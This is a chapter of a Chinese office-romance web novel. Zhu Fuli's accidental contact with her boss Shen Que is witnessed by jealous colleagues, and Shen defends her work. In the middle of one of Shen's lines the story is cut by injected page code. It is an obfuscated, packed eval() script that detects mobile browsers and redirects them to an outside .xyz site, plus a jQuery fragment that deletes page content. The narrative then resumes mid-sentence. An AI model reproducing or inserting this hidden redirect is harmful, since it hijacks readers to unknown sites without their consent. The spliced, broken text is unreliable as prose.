·
变故来得过于突然,祝扶黎无法控制局面,甚至在收回转笔的时候又是不小心在沈确的胸大肌上刮了一下,她察觉出他的呼吸都紧了几分。
“……”
祝扶黎微微闭了闭眼,尽量不去想刚刚刮蹭到他身上哪里,只觉得……自己在他心里的形象肯定变得更加不堪。
这都是些啥啊!她才不是色中饿鬼女之流氓!
然而她越是羞赧便越是混乱,再回过神来后发现自己整个人半压在沈确身上,手倒是离开了他广袤的胸大肌了,却是停在了他的腹肌上。
隔着薄薄的棉质衣料,能感受到肌理分明。
手感……一如既往地好。
祝扶黎屏息着,意识到自己差点又是控制不住手,轻轻蜷缩了一下,极快地收回来。
仿佛这样就能当作刚刚什么事情都没有发生。
也正因为这样,她根本没意识到自己此时离他极近,左手搭在他的肩膀上,几乎都要亲上他。
等她反应过来的时候,软唇还是擦过了他的下颌,呼吸之间,鼻息可闻,冷雾雪松香激得人心脏都有些疼痛。
祝扶黎赫然红了眼立即放开了他,一袭细腰往后仰,仰出玲珑弧度。
反倒是沈确还是淡定,伸手搂了搂她的腰,避免她因为太过惊慌而发生不必要的意外。
“别紧张,没关系。”他对她说道,手稳住了她的身形后便从她腰上撤开,却留下点点热度,犹如点火,直将人的心脏炙烤。
祝扶黎的眼角更红了,看向门口突然敲门的始作俑者,红唇微翕,气得厉害。
沈确微微扶她坐正,微垂了视线没去看她,眼角余光倒是擦到她涨红的眼角,一直蔓延至瓷白颈间,又是让人想起琉璃俏春,分明气得不轻。
他忽略了胸前和下颌的那点异样,也侧过了头看向门边,看见站在门口的人正是丁明皓的秘书梁涵月,除了她之外,和祝扶黎同组的一个名叫赵蔓诗的同事也在。
两人正并排在门口的位置站着,手里都捧了一沓资料,正神色复杂地看着他们。
“进来。”沈确的表情还是没多少变化,语气平静,让她们进来汇报工作。
梁涵月和赵蔓诗这才如梦初醒,双双进来,但是办公室只开了一扇门,瞬间撞到了一起,撞得玻璃门“砰”的两声响,听着都觉得肩膀疼。
沈确按了一下门的遥控将另外那扇门给开了,仍旧没什么表情的变化。
反倒是梁涵月和赵蔓诗十分尴尬,脑海里还是被刚刚不小心撞见的……沈确和祝扶黎旁若无人亲近的一幕给冲击。
沈确这人的履历其实相当漂亮,所得到过的奖和研发出来的专利不知道有多少,因着早年的某些不愉快经历的原因,以至于他这些年来都是疯狂工作和研究,对男女之事似乎并没有多少兴趣。
清寡而洁身自好,也有超越常人的出色能力,外形容貌家世方方面面……都引人觊觎。
有时候不是他说不感兴趣别人就会止步。
起码,办公室里有过半数的单身女同事对他有想法,剩下的已婚女同事或多或少都后悔自己这么早结婚。
不然,也肯定会加入竞争的行列。
而梁涵月和赵蔓诗就是对沈确有不一样想法的其中两名女同事,骤然撞见刚刚那一幕,心里滋味难言和复杂可想而知。
总不能……公司私聊群里传得信誓旦旦的沈确和祝扶黎的地下办公室恋情是真的吧?
据赵蔓诗了解的是,祝扶黎在此之前根本不认识沈确,和他也是毫无交集,这是怎么一回事?
“找我有什么事?”沈确端起桌子上的一杯凉白开喝了一口问道。
“刚刚……沈总和祝组长是在玩什么好玩的吗?”梁涵月并没有先说正事,而是半开玩笑地问道,只是脸上神色其实很难看。
祝扶黎紧了紧自己的手,身上还在持续发热,实在是不想再讨论这个话题。
“如果找我或者祝组长没事的话,请你出去工作。”沈确依然公事公办,即使语气听着略微漫不经心的,梁涵月仍旧听出这其中不耐烦的意味。
她有些不甘心,看了坐在旁边低着头看不清神色的祝扶黎一眼,只能说正事:“没,祝组长早上不是约了丁总去试验新的材料么?丁总早早来了并且推掉别的事情,但是等了你15分钟还没见你过来,便让我过来找你了。”
“至于蔓诗,那是你的助理,要跟着你一起去找丁总探讨和记录一些数据的,迟迟见不到你,也就过来一起找你了。”
这话就差没指着祝扶黎的鼻子说她工作时间不做正事而来勾引自己的顶头上司。
“是啊,祝组长,你是我们北极兔的人,之前公司里的人说你是走林总的后门进来的,说你没多少本事,我觉得有没本事,那你还是要……”
“我还是要怎么样?”祝扶黎站了起来,似乎所有不堪的情绪都找到了一个宣泄口,她直视和自己的确不太对付的赵蔓诗,毫不忌讳:“退位让贤还是怎么样?让你来坐我这个位置?”
“我……我不是这个意思……”
赵蔓诗急了,看了沈确一眼,不知道该不该将“家丑”外扬,毕竟这是北极兔内部的事情,说太多会影响公司形象,只是祝扶黎太过咄咄逼人,又有一种……做错了事的心虚,让她的胆子又是大了起来。
加上沈确微垂着眼,好像没听见她们的争执那般,她觉得那些沈确和祝扶黎在一起的传闻是假的,根本不会护着她。
还是继续说道:“我自然不会质疑林总的决定,可是你也应该做好分内事,不要给北极兔丢脸了。”
她这话的意思沈确自然听明白,目光从祝扶黎左手手腕上的赤金色编织手环上收回来,离得近了才看清她手腕内侧有一道很浅的旧疤。
但因为太过靠近静脉的位置,而显得触目惊心。
“赵助理,你家祝组长的工作能力我十分认可,”沈确不等祝扶黎出声,也站起来对着她们说道:“而且,极光并不会只盯着一些没有证据的事情捕风捉影。”
“最起码现在,你家祝组长的工作能力和态度无可挑剔,我和极光都非常满意。”
“如果你不满意,认为她没做好分内事,给北极兔丢脸的话,你很应该写一份详细的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809719|175169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报告并且附上足够的证据向你们林总揭发。”
“我相信你们林总肯定会秉公办理。”
赵蔓诗听着沈确字字句句居然都在维护祝扶黎,脸上涨红已经挂不住,她瞪了祝扶黎一眼,直接转身踩着高跟鞋离开了。
“你还有什么事情?”沈确又看向很明显有些怔忪的梁涵月,委婉逐客。
“我……我要和祝组长……”
“祝组长待会儿会去找你们丁总。”沈确直接替祝扶黎回答。
梁涵月无法,又是看了祝扶黎一眼,这才神色复杂地转身离开。
如果不是不想让公司私聊群那群嗑沈确和祝扶黎cp的人有新的谈资的话,梁涵月还真的很想很想到群里吼上一句:沈确这也太维护祝扶黎了吧!
总不见他这样维护其他员工!不被他骂都已经很好了!
不得不说,梁涵月是真的有些嫉妒祝扶黎,凭什么?
“沈总……刚刚对不起。”祝扶黎没心情,她觉得自己现在和早上发现养了3个月只剩下干瘪尸体的仙人掌那般,活人微死了。
“你是要为刚刚什么而对我说‘对不起’?”沈确斟了一杯凉白开给她,问道。
“哎,我其实很正经的,也不是喜欢占人便宜的人,刚刚真的只是误会。”祝扶黎泄气,又没办法推卸责任,这样只会让她更加心虚。
“所以,有什么补偿?”沈确接受了她这个说法,但又没有完全接受。
“……你想要什么补偿?”总不会要在她身上摸回来吧?
“暂时想不到,”沈确没有多说,“先留着。”
“……行。”祝扶黎无话可说了,凉白开倒是喝完再告辞:“那我先走了。”
沈确目送她离开,见她今天扎的丸子头换了新的发饰,是一只橙棕色的狐狸,狐狸眼睛笑眯眯地看着他,似乎要盯穿他的心思。
沈确收回视线,划开手机去查看今天早上收到的陌生信息,一张是对方不说他根本猜不出来是什么的照片,下面附上了今天她发过来的话:
[哥,虽然我仙人掌被我养死了,但是!我种的菜可是全部活了哦!用来煮面还敲好吃呢!]
听着还挺骄傲的模样。
但能将仙人掌养死的也不是一般人。
沈确往前滑动,企图找出这些信息和照片之中的一些蛛丝马迹或是确凿证据,证明这个手机号的主人是谁。
他心中隐隐约约有人选,但始终不能确定,总想一击即中。
然而他找遍所有都没有找到有关手受伤的照片或是只言片语,不知道是不放在心上还是不想让哥哥担心。
沈确尝试着代入对方的角度,认为是后者。
这就错过了一个很好的证明机会了。
“叮——”
“叮叮叮——”
手机又是收到了几条新信息,这次不是备用手机号收到的,而是孟希晏给他发来的。
【好啊你个沈确居然瞒着我大搞特搞办公室恋情!表面上还一副闷骚对人家爱理不理的模样,转头就给我抱上、摸上还亲上了?!】
沈确:“……”